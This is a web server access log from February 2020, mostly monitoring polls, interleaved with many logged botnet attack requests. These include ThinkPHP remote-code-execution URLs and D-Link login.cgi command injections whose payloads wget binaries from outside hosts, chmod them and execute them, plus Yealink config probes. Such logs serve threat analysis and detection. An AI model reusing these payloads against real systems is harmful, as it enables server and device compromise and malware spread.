42.116.248.177 - - [10/Feb/2020:21:33:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.55.73.154 - - [10/Feb/2020:21:34:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:21:34:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:35:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:36:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:37:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:38:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.178.102.98 - - [10/Feb/2020:21:38:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
92.55.54.101 - - [10/Feb/2020:21:39:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
60.22.55.223 - - [10/Feb/2020:21:39:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [10/Feb/2020:21:39:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.248.142 - - [10/Feb/2020:21:39:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:21:40:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:41:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:42:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.125.119.44 - - [10/Feb/2020:21:43:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:21:43:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:44:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:45:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:46:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:47:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:48:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:49:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:50:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:51:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.113.197.251 - - [10/Feb/2020:21:52:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [10/Feb/2020:21:52:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.113.197.251 - - [10/Feb/2020:21:52:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [10/Feb/2020:21:52:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
1.52.238.22 - - [10/Feb/2020:21:53:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.2.140.175 - - [10/Feb/2020:21:53:13 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
39.113.197.251 - - [10/Feb/2020:21:53:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [10/Feb/2020:21:53:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:54:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.100.9.227 - - [10/Feb/2020:21:55:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:21:55:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.36.147.169 - - [10/Feb/2020:21:56:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:21:56:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:57:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:58:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.226.219.120 - - [10/Feb/2020:21:59:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:21:59:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.186.145.19 - - [10/Feb/2020:21:59:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
124.235.138.122 - - [10/Feb/2020:22:00:32 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/4.01707650 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; EmbeddedWB 14.52 from: http://www.bsalsa.com/ EmbeddedWB 14.52; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)"
212.91.246.72 - - [10/Feb/2020:22:00:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.53.176.227 - - [10/Feb/2020:22:01:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:22:01:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:22:02:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
208.114.149.10 - - [10/Feb/2020:22:02:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
78.158.191.155 - - [10/Feb/2020:22:03:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [10/Feb/2020:22:03:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.9.207.130 - - [10/Feb/2020:22:04:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [10/Feb/2020:22:04:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:22:05:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:22:06:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.52.43.124 - - [10/Feb/2020:22:06:55 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:22:07:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.85.91.19 - - [10/Feb/2020:22:07:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:22:08:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:22:09:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:22:10:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:22:11:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.186.137.112 - - [10/Feb/2020:22:12:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [10/Feb/2020:22:12:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:22:13:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.203.178.229 - - [10/Feb/2020:22:14:06 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [10/Feb/2020:22:14:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:22:15:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:22:16:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:22:17:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
206.189.219.109 - - [10/Feb/2020:22:18:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:22:18:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.88.86.196 - - [10/Feb/2020:22:18:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.48.122.214 - - [10/Feb/2020:22:19:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [10/Feb/2020:22:19:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:22:20:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [10/Feb/2020:22:21:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [10/Feb/2020:22:21:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:22:22:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.185.105.50 - - [10/Feb/2020:22:23:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:22:23:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
206.189.219.109 - - [10/Feb/2020:22:24:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:22:24:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:22:25:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.164.53.229 - - [10/Feb/2020:22:26:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
93.76.233.223 - - [10/Feb/2020:22:26:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:22:26:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:22:27:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.218.147 - - [10/Feb/2020:22:28:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:22:28:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:22:29:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:22:30:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.114.37.69 - - [10/Feb/2020:22:30:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
42.118.87.198 - - [10/Feb/2020:22:31:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:22:31:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:22:32:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:22:33:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:22:34:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:22:35:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:22:36:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.186.79.169 - - [10/Feb/2020:22:36:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
47.88.255.89 - - [10/Feb/2020:22:37:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:22:37:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:22:38:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:22:39:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.100.236 - - [10/Feb/2020:22:39:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.201.42 - - [10/Feb/2020:22:39:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:22:40:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:22:41:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:22:42:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.123.16.108 - - [10/Feb/2020:22:43:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
173.70.96.55 - - [10/Feb/2020:22:43:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [10/Feb/2020:22:43:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:22:44:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.122.165.155 - - [10/Feb/2020:22:45:01 +0100] "GET /frm/yealink_directory_setting.xml HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"
185.122.165.155 - - [10/Feb/2020:22:45:01 +0100] "GET /frm/yealink_directory_setting.xml HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"
185.122.165.155 - - [10/Feb/2020:22:45:01 +0100] "GET /frm/yealink_directory_setting.xml HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"
185.122.165.155 - - [10/Feb/2020:22:45:01 +0100] "GET /frm/yealink_directory_setting.xml HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"
185.122.165.155 - - [10/Feb/2020:22:45:01 +0100] "GET /frm/yealink_directory_setting.xml HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"
185.122.165.155 - - [10/Feb/2020:22:45:04 +0100] "GET /frm/yealink_directory_setting.xml HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"
185.122.165.155 - - [10/Feb/2020:22:45:04 +0100] "GET /frm/yealink_directory_setting.xml HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"
185.122.165.155 - - [10/Feb/2020:22:45:04 +0100] "GET /frm/yealink_directory_setting.xml HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"
185.122.165.155 - - [10/Feb/2020:22:45:04 +0100] "GET /frm/yealink_directory_setting.xml HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"
185.122.165.155 - - [10/Feb/2020:22:45:04 +0100] "GET /frm/yealink_directory_setting.xml HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"
212.91.246.72 - - [10/Feb/2020:22:45:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.27.187.117 - - [10/Feb/2020:22:46:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
115.207.97.142 - - [10/Feb/2020:22:46:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
